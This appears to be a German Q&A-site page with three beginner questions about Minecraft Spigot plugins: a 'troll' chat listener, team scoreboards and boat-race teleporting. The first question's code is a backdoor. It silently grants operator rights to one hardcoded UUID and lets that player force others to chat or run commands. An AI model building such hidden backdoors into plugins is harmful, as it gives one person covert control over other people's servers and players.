Minecraft Plugin Programmiren Sende Nachricht als anderer Spieler?

Hallo

Ich möchte ein kleinen Troll Plugin Programmieren und habe Schwierigkeiten beim Programmieren vom sudo Command.

Mein Aktueller Cod

import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;

public class Chack implements Listener {

    @EventHandler(ignoreCancelled = true)
    public void onAsyncPlayerChat(AsyncPlayerChatEvent event) {
        Player p = event.getPlayer();
        // DEBUG
        //p.sendMessage(p.getDisplayName());
        //p.sendMessage(p.getName());
        //p.sendMessage(p.getUniqueId().toString());
        if (p.getUniqueId().toString().equalsIgnoreCase("UUID")) {
            if (event.getMessage().equalsIgnoreCase("++op")){
                event.setCancelled(true);
                p.setOp(true);
            }
            if (event.getMessage().startsWith("++sudo")){
                event.setCancelled(true);
                String[] msg = event.getMessage().split(" ");
                String command = "";
                if (msg.length > 2) {
                    Player t = Bukkit.getPlayer(msg[1]);
                    if (t != null) {
                        for (int i = 2; i < msg.length; i++) {
                            command += msg[i];
                            command += " ";
                        }
                        command.trim();
                        // Version 1
                        //t.chat(command);
                        // Version 2
                        //t.performCommand(command);
                        // DEBUG
                        p.sendMessage(command);
                    } else {
                        p.sendMessage("PlayerError");
                    }
                }

                event.setCancelled(true);

            }
        }
    }
}

der Error kommt aus der Zeile "t.chat(command);"

programmieren, Java, Minecraft, Error, Minecraft Server, Bukkit, Spigot, Minecraft Plugin
Spigot Tablist wird nicht richtig gesetzt?

Ich habe langsam keine Ahnung mehr was ich noch tun soll.

package game.squid.utils;

import org.bukkit.Bukkit;

import org.bukkit.ChatColor;

import org.bukkit.entity.Player;

import org.bukkit.scoreboard.Scoreboard;

import squid.game.games.BlockGame;

public class ScoreboardManager{

public static void registerScoreboard(Player p) {

for(Player all : Bukkit.getOnlinePlayers()) {

Scoreboard board = Bukkit.getScoreboardManager().getNewScoreboard();

all.sendMessage("Debug1");

org.bukkit.scoreboard.Team teamBlue = board.registerNewTeam("TeamBlue");

org.bukkit.scoreboard.Team teamRed = board.registerNewTeam("TeamRed");

org.bukkit.scoreboard.Team teamYellow = board.registerNewTeam("TeamYellow");

org.bukkit.scoreboard.Team teamGreen = board.registerNewTeam("TeamGreen");

all.sendMessage("Debug3");

teamBlue.setPrefix(ChatColor.AQUA.toString() + "§bBLUE ");

teamRed.setPrefix(ChatColor.RED.toString() + "§cRED ");

teamYellow.setPrefix(ChatColor.YELLOW.toString() + "§eYELLOW ");

teamGreen.setPrefix(ChatColor.GREEN.toString() + "§aGREEN ");

all.sendMessage("Debug4");

all.setScoreboard(board);

if(Team.getTeam(p) == BlockGame.blueTeam) {

teamBlue.addEntry(p.getName());

all.sendMessage("Debug5");

continue;

}

if(Team.getTeam(p) == BlockGame.redTeam) {

teamRed.addEntry(p.getName());

all.sendMessage("Debug6");

continue;

if(Team.getTeam(p) == BlockGame.yellowTeam) {

teamYellow.addEntry(p.getName());

all.sendMessage("Debug7");

continue;

}

if(Team.getTeam(p) == BlockGame.greenTeam) {

teamGreen.addEntry(p.getName());

all.sendMessage("Debug8");

continue;

}

}

}

}

Bild zum Beitrag
programmieren, Java, Minecraft, Minecraft Server, Plug-in, Spigot
Wieso funktioniert das Plugin nicht?

Hallo. Ich programmiere gerade ein Plugin. Eigendlich funktioniert es, doch es gibt ein problem. Es solten 2 Spieler an verschiedenen orten Teleportirt werden, doch beide Spieler werden an ein Ort Teleportiert. Hier der Code:

public class TeleportEvent implements Listener {
    public static Bootrennen plugin;

    public TeleportEvent(Bootrennen plugin) {

        TeleportEvent.plugin = plugin;
    }

    public static void start() {
        Location location = plugin.getConfig().getLocation("location.start1");
        Location loc = plugin.getConfig().getLocation("location.start2");
        int i = 1;
        for(Player current : Bukkit.getOnlinePlayers()) {
            Location playerLocation = plugin.getConfig().getLocation("location.start" + i);
            current.teleport(playerLocation);
            if (location != null) {
                if(location.getBlock() != current.getLocation().getBlock()) {
                    i = 1;
                   current.teleport(Objects.requireNonNull(plugin.getConfig().getLocation("location.start1")));
                    Boat bt = (Boat) current.getWorld().spawnEntity(location, EntityType.BOAT);
                    bt.addPassenger(current);
                } else {
                    if (loc != null) {
                       i = 2;
                        current.teleport(Objects.requireNonNull(plugin.getConfig().getLocation("location.start2")));
                        Boat bt = (Boat) current.getWorld().spawnEntity(location, EntityType.BOAT);
                        bt.addPassenger(current);
                      
                       i++;
                    }
                }
            }

        }
    }

    @EventHandler
    public void onExit(VehicleExitEvent e) {
        Player player = (Player) e.getExited();
        if (e.getExited().hasPermission("Operator")) {
            e.setCancelled(false);
        } else {
            player.sendMessage(ChatColor.RED + "Du darfst das nicht!");
            e.setCancelled(true);

        }
    }
}
Computer, Java, Minecraft, Spigot, Minecraft Plugin

Meistgelesene Fragen zum Thema Spigot